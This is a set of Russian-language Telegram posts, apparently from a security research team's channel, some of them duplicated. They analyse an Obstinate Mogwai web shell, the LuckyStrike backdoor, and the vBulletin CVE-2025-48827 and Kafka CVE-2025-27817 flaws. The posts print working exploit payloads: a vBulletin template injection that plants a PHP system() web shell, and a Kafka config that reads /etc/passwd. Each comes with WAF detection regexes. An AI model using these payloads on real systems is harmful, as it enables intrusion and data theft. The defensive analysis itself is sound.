Конечно, злоумышленники вряд ли используют этот веб-шелл через браузер. Скорее всего, взаимодействие с ним происходит программно, поэтому описанная выше скрытность — это некий side-effect.
Почему код исполняется?
Опытные исследователи, наверное, сразу все поняли, когда посмотрели на скриншот с кодом веб-шелла, но мы все равно напомним.
Техника исполнения закомментированного кода в web.config файле известна примерно с 2014 года. Ее применяют, например, когда нет возможности загрузить на уязвимый сервер файлы с расширением aspx.
Если кратко, код исполняется из-за применения IIS-настроек, которые задаются в самом начале файла. Эта олдскул-техника исполнения кода хитра и элегантна, поэтому также приведем более подробное описание.
Файл web.config последовательно играет две роли: xml-конфига и aspx-страницы (скриншот 3):
👀 web.config обрабатывается как конфиг XML-парсером, который как раз и накладывает ограничения на способы написания кода веб-шелла. Единственный известный нам способ успешно пройти проверку XML-парсера — написать ASPX-код веб-шелла в комментариях;
👀 из-за примененных настроек web.config обрабатывается как aspx-страница. Ее код скомпилируется в dll и выполнится. При этом не будут учитываться XML-комментарии, только ASPX-код в соответствующих тегах.
Другие настройки web.config удаляют запреты на доступ к файлам с расширением config и файлу web.config.
Краткий итог: все web.config-настройки важны и тоже являются частью веб-шелла.
В следующем посте поделимся, какими еще важными особенностями обладал этот веб-шелл и откуда мог взяться. Если интересно, ставьте 🔥
Делимся веб-шеллом, который показался нам не просто интересным, но интересным в квадрате или даже в кубе. С одной стороны, в нем использована необычная техника, с другой… Но не будем раскрывать все карты сразу.
О коде web.config веб-шелла
В этой статье о группировке Obstinate Mogwai, в разделе IOCs, мы упоминали web.config веб-шелл:
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth\web.aspx
md5:
42f0dc07131705738a14baffd560be7cПримерный код веб-шелла представлен на скриншоте 1.
Специалисту, не знакомому с одной старой техникой, может показаться, что код закомментирован и такой веб-шелл вряд ли активен. В реальности же он работает, код исполняется, причем скрытно (скриншот 2).
Веб-шелл возвращает результаты выполнения команды, которые видны только при просмотре исходного кода страницы, так как сам код веб-шелла закомментирован.
Конечно, злоумышленники вряд ли используют этот веб-шелл через браузер. Скорее всего, взаимодействие с ним происходит программно, поэтому описанная выше скрытность — это некий side-effect.
Почему код исполняется?
Опытные исследователи, наверное, сразу все поняли, когда посмотрели на скриншот с кодом веб-шелла, но мы все равно напомним.
Техника исполнения закомментированного кода в web.config файле известна примерно с 2014 года. Ее применяют, например, когда нет возможности загрузить на уязвимый сервер файлы с расширением aspx.
Если кратко, код исполняется из-за применения IIS-настроек, которые задаются в самом начале файла. Эта олдскул-техника исполнения кода хитра и элегантна, поэтому также приведем более подробное описание.
Файл web.config последовательно играет две роли: xml-конфига и aspx-страницы (скриншот 3):
Другие настройки web.config удаляют запреты на доступ к файлам с расширением config и файлу web.config.
Краткий итог: все web.config-настройки важны и тоже являются частью веб-шелла.
В следующем посте поделимся, какими еще важными особенностями обладал этот веб-шелл и откуда мог взяться. Если интересно, ставьте 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28✍5🤔3👍2👾2
Десятибалльная уязвимость в vBulletin CVE-2025-48827 👾
Уязвимость CVE-2025-48827 позволяет неаутентифицированным пользователям вызывать защищенные методы API, что может привести к удаленному выполнению кода (RCE).
❗️ Она затрагивает vBulletin с 5.0.0 по 5.7.5 и с 6.0.0 по 6.0.3 версий, которые работают на PHP 8.1 и выше.
vBulletin — это коммерческая платформа для создания форумов и сообществ на сайтах. Она работает на языке PHP и использует базы данных MySQL.
Метрики
Детали уязвимости
Основная критическая проблема — изменение поведения
Традиционно класс ReflectionMethod в PHP требовал явного разрешения — через
API vBulletin предоставляет конечные точки в формате:
Они реализуют маршрутизацию запросов к методам контроллеров с помощью Reflection API. Контроль доступа осуществляется на уровне метода, а не глобально.
❗️ Конечные точки могут передаваться как в URI, так и параметре routestring POST-запроса.
Цепочка атаки на метод replaceAdTemplate
Метод replaceAdTemplate в vBulletin является частью API-контроллера vB_Api_Ad и предназначен для создания или обновления рекламных шаблонов.
1️⃣ Загрузка вредоносного шаблона
Злоумышленник отправляет POST-запрос с вредоносным шаблоном, например:
•
•
• Функция
• Так как условие находится внутри
2️⃣ Отправка shell-кода
После того как вредоносный шаблон загружен и активен, злоумышленник отправляет новый POST-запрос к другому API , который вызывает созданный шаблон:
Шаблон, загруженный на первом этапе, должен быть активен и применим на странице, обрабатываемой ajax/render/**
Как защищаться
Если со вторым этапом все более-менее понятно — это просто Shell, который могут обнаружить многие WAF без особых трудностей, — то первый может создать проблемы.
Мы точно знаем, что атака происходит с использованием шаблона <vb:if> *** <\vb:if>.
Так же мы знаем, что в шаблоне должен находиться параметр condition.
Предлагаемое регулярное выражение:
Уязвимость CVE-2025-48827 позволяет неаутентифицированным пользователям вызывать защищенные методы API, что может привести к удаленному выполнению кода (RCE).
vBulletin — это коммерческая платформа для создания форумов и сообществ на сайтах. Она работает на языке PHP и использует базы данных MySQL.
Метрики
Base core: 10
CWE: CWE-424
Детали уязвимости
Основная критическая проблема — изменение поведения
Reflection API в PHP 8.1.Традиционно класс ReflectionMethod в PHP требовал явного разрешения — через
setAccessible(true) вызов защищенных или закрытых методов. Но начиная с PHP 8.1 это ограничение смягчено: ReflectionMethod::invoke(). Теперь по умолчанию можно вызывать защищенные и закрытые методы.API vBulletin предоставляет конечные точки в формате:
/ajax/api/[controller]/[method]
Они реализуют маршрутизацию запросов к методам контроллеров с помощью Reflection API. Контроль доступа осуществляется на уровне метода, а не глобально.
Цепочка атаки на метод replaceAdTemplate
Злоумышленник отправляет POST-запрос с вредоносным шаблоном, например:
routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location=omgItIsShell&template=<vb:if condition='"passthru"($_POST["cmd"])'> </vb:if>
•
"passthru" — это строка, интерпретируемая PHP как имя функции.•
"passthru"($_POST["cmd"]) — фактически выполняет команду, полученную в $_POST["cmd"].• Функция
passthru() выводит результат команды напрямую в HTML.• Так как условие находится внутри
<vb:if>, вызов функции происходит при отображении шаблона, независимо от возвращаемого значения (null в случае passthru).После того как вредоносный шаблон загружен и активен, злоумышленник отправляет новый POST-запрос к другому API , который вызывает созданный шаблон:
routestring=ajax/render/ad_omgItIsShell&styleid=10000&location=rce6&cmd=echo '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>' > shell9.phpШаблон, загруженный на первом этапе, должен быть активен и применим на странице, обрабатываемой ajax/render/**
Как защищаться
Если со вторым этапом все более-менее понятно — это просто Shell, который могут обнаружить многие WAF без особых трудностей, — то первый может создать проблемы.
Мы точно знаем, что атака происходит с использованием шаблона <vb:if> *** <\vb:if>.
Так же мы знаем, что в шаблоне должен находиться параметр condition.
Предлагаемое регулярное выражение:
<vb:if\s+condition\s*=\s*["'].*?(passthru|system|shell_exec|eval|assert).*?(\$_(GET|POST|REQUEST))\s*\[["'].*?["']\].*?["']
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12❤5👍5🎃1👾1
Необычный веб-шелл в арсенале Obstinate Mogwai, часть 2
Продолжаем рассказывать про необычный веб-шелл в арсенале группировки Obstinate Mogwai. Он выглядит как нерабочий, но на самом деле работает.
Почему он интересен в кубе
Мы уже объяснили, почему выполнялся закомментированный код в веб-шелле, но позже у нас возник вопрос, который мы упустили из-за интересной legacy-техники…
Злоумышленники создали файл с именем web.aspx! ASPX-файл! По сути это означало, что интересная legacy-техника исполнения кода в web.config-файле была им попросту не нужна. Можно было выкинуть все web.config-настройки, оставить только ASPX-код — и он бы спокойно работал (скриншот 1).
Возможно, таким образом злоумышленники хотели мимикрировать под web.config-файл, запутать DFIR-специалистов в IIS-логах либо достигнуть каких-то иных целей.
Где расположен веб-шелл
Это еще один интересный вопрос.
В нашем случае он располагался в Backend-каталоге Exchange-сервера (каталог ClientAccess):
Обычно веб-шеллы располагают в каталогах, которые доступны извне (например,
Для доступа к такому веб-шеллу злоумышленникам нужно знать какие-либо аутентификационные данные либо использовать уязвимости, похожие на ProxyLogon, ProxyShell и другие.
Также отметим, что в IIS-логах обращения к такому веб-шеллу могут выглядеть так, будто они идут к FrontEnd:
Можно проверить web.aspx в каталоге
Отметим, что мы не обнаружили никаких обращений к данному веб-шеллу в инциденте.
❗️ Поэтому важный совет: если вы делаете DFIR в инфраструктуре, атакованной Obstinate Mogwai, для надежности при обнаружении подобных подозрительных запросов проверьте оба каталога — Frontend и Backend — на наличие веб-шелла.
Откуда взялся этот веб-шелл
Мы обнаружили очень похожий веб-шелл в статье ".NET upload web.config file to achieve RCE idea" на азиатской платформе для публикации технических исследований по информационной безопасности.
В разделе "0x02 Running as a .NETT script" представлен пример, который очень похож на веб-шелл, использованный в реальной атаке (скриншот 2).
Веб-шелл в инциденте был обнаружен 14.09.2023 03:42:47, а статья вышла 22.01.2024. Ее опубликовало сообщество dot.Net Security Matrix, которое уже на протяжении многих лет выпускает различные red team материалы по .NET. Примечательно, что автор статьи как будто специально упустил в примерах кода детали, без которых его нельзя просто скопипастить и использовать.
Публикация статьи после инцидента может быть совпадением, но не исключено, что эти истории связаны.
Вывод: при реагировании на инциденты необходимо учитывать особенности веб-шеллов.
Продолжаем рассказывать про необычный веб-шелл в арсенале группировки Obstinate Mogwai. Он выглядит как нерабочий, но на самом деле работает.
Почему он интересен в кубе
Мы уже объяснили, почему выполнялся закомментированный код в веб-шелле, но позже у нас возник вопрос, который мы упустили из-за интересной legacy-техники…
Злоумышленники создали файл с именем web.aspx! ASPX-файл! По сути это означало, что интересная legacy-техника исполнения кода в web.config-файле была им попросту не нужна. Можно было выкинуть все web.config-настройки, оставить только ASPX-код — и он бы спокойно работал (скриншот 1).
Возможно, таким образом злоумышленники хотели мимикрировать под web.config-файл, запутать DFIR-специалистов в IIS-логах либо достигнуть каких-то иных целей.
Где расположен веб-шелл
Это еще один интересный вопрос.
В нашем случае он располагался в Backend-каталоге Exchange-сервера (каталог ClientAccess):
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth\
Обычно веб-шеллы располагают в каталогах, которые доступны извне (например,
...\FrontEnd\HttpProxy\owa\auth). Для доступа к такому веб-шеллу злоумышленникам нужно знать какие-либо аутентификационные данные либо использовать уязвимости, похожие на ProxyLogon, ProxyShell и другие.
Также отметим, что в IIS-логах обращения к такому веб-шеллу могут выглядеть так, будто они идут к FrontEnd:
YYYY-MM-DD HH:MM:SS EXCH_IP GET /owa/auth/web.aspx c=whoami&ClientId=9BCA85B3DFC84A6896909B891C54BA9F&CorrelationID=<empty>;&encoding=;&cafeReqId=8e7a389b-5887-4a50-9641-f7ef409bfb61; 443 - CLIENT_IP USER_AGENT - 200 0 0 65
Можно проверить web.aspx в каталоге
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth и ничего там не обнаружить.Отметим, что мы не обнаружили никаких обращений к данному веб-шеллу в инциденте.
Откуда взялся этот веб-шелл
Мы обнаружили очень похожий веб-шелл в статье ".NET upload web.config file to achieve RCE idea" на азиатской платформе для публикации технических исследований по информационной безопасности.
В разделе "0x02 Running as a .NETT script" представлен пример, который очень похож на веб-шелл, использованный в реальной атаке (скриншот 2).
Веб-шелл в инциденте был обнаружен 14.09.2023 03:42:47, а статья вышла 22.01.2024. Ее опубликовало сообщество dot.Net Security Matrix, которое уже на протяжении многих лет выпускает различные red team материалы по .NET. Примечательно, что автор статьи как будто специально упустил в примерах кода детали, без которых его нельзя просто скопипастить и использовать.
Публикация статьи после инцидента может быть совпадением, но не исключено, что эти истории связаны.
Вывод: при реагировании на инциденты необходимо учитывать особенности веб-шеллов.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18❤6👍6🤔3
Kubernetes используют многие организации для управления микросервисами, CI/CD и масштабирования. Но его гибкость часто приводит к неправильной настройке — слишком открытые роли RBAC, ошибки в NetworkPolicy, публичный доступ к API-серверу. Всё это создаёт широкий спектр потенциальных векторов атак.
Мониторинг помогает выявить атаки, даже если базовая защита уже настроена, особенно при ошибках в конфигурации. Однако прежде чем мониторить активность, важно понимать: чего именно хочет атакующий от нашего кластера?
Чтобы это выяснить, мы заранее готовим лабораторные стенды для эмуляции атак. Они позволяют точно настроить сбор телеметрии и определить, какие события и активности нужно отслеживать. Эти данные помогают нам настраивать правила детектирования аномалий и отсеивать легитимную активность, чтобы сократить количество ложных срабатываний.
🎯 Мы собрали мини-гайд с практическими рекомендациями по развёртыванию уязвимого Kubernetes-кластера. Этот подход основан на нашем лабораторном стенде из недавнего доклада, где мы разбирали актуальные техники атакующих в Kubernetes.
Что поможет сделать этот гайд
Если готовы проверить себя, читайте статью и тестируйте уязвимости в безопасной среде 🚀
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍7⚡4❤3😁2😎2🌚1
LuckyStrike Agent: коммерческий бэкдор на службе Erudite Mogwai?
LuckyStrike Agent — это многофункциональный .NET бэкдор, который был замечен в атаках группировки Erudite Mogwai. Ранее мы уже рассказывали, как Erudite Mogwai использует кастомный Stowaway для скрытного продвижения в сети.
Что нужно знать о LuckyStrike Agent
😬 «Покерный блеф» в коде: название и внутренние классы загрузчика — "Card", "ArtificialPlayer", "Table", "Hand" — отсылают к азартным играм.
👽 Загрузчик использует технику AppDomain Manager Injection (T1574.014).
👽 Облачные сервисы в качестве C2: в семплах, которые мы обнаружили, использовался OneDrive, однако архитектура бэкдора позволяет использовать и другие облачные сервисы.
👽 Коммерческий продукт? В отладочных строках бэкдора присутствует строка
Какие функции выполняет бэкдор LuckyStrike Agent
⚪️ Исполняет консольные команды.
⚪️ Загружает и исполняет кастомные сборки (Assembly). Поддерживает два варианта запуска сборок. В первом случае у подгруженной сборки исполняется точка входа. Во втором случае сборка должна имплементировать тип Plugin, у которого присутствует метод Run.
⚪️ Удаляет и загружает файлы.
⚪️ Собирает информацию о файлах в директориях — имя, размер, путь, base64 от иконки, время последней записи в файл и является ли путь директорией.
⚪️ Собирает информацию о дисках — имя диска и объем.
Подробнее о LuckyStrike Agent читайте в нашей статье.
LuckyStrike Agent — это многофункциональный .NET бэкдор, который был замечен в атаках группировки Erudite Mogwai. Ранее мы уже рассказывали, как Erudite Mogwai использует кастомный Stowaway для скрытного продвижения в сети.
Что нужно знать о LuckyStrike Agent
E:\Csharp\HA_Thomas\Server\Library\obj\Paid Version\Library.pdb. Также при генерации agent_id (MD5 от определенным образом сформированной строки) используется префикс paid, что может говорить о коммерческой природе данного вредоноса.Какие функции выполняет бэкдор LuckyStrike Agent
Подробнее о LuckyStrike Agent читайте в нашей статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13❤5👍3🌚2😁1
SSRF в Apache Kafka Client CVE-2025-27817
CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.
❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.
Метрики
Описание уязвимости
Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url —это параметр конфигурации в Apache Kafka Client, который указывает URL-адрес сервера аутентификации OAuthBearer, откуда клиент должен получить токен доступа.
sasl.oauthbearer.jwks.endpoint.url —это параметр конфигурации Apache Kafka Client, который указывает URL для получения JWKS (JSON Web Key Set) — набора ключей, используемых для проверки подписанных OAuth токенов.
Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
Пример эксплойта
В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту
Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей
Например подобным регулярным выражением
Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.
❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.
Метрики
Base core: 7,5 (High)
CWE: CWE 918
Описание уязвимости
Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.urlsasl.oauthbearer.jwks.endpoint.urlsasl.oauthbearer.token.endpoint.url —
sasl.oauthbearer.jwks.endpoint.url —
Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
file:// → приведёт к чтению локального файла и логированию его содержимого.http:// или https:// → позволяет сделать запрос к произвольному серверу, в том числе во внутренней сети → SSRF.Пример эксплойта
{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:1337",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
},
"topic": "xx",
"useEarliestOffset": true
},
"dataSchema": {
"dataSource": "test"
}
}
}В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту
/druid/indexer/v1/samplerКак защищаться
На WAF можно написать правило, которое контролировало содержимое ключей
sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что бы в них не передавались схемы http, ftp, php, https, file, data. Например подобным регулярным выражением
\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"
Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
🔥14👍5❤4⚡3🤔2👾1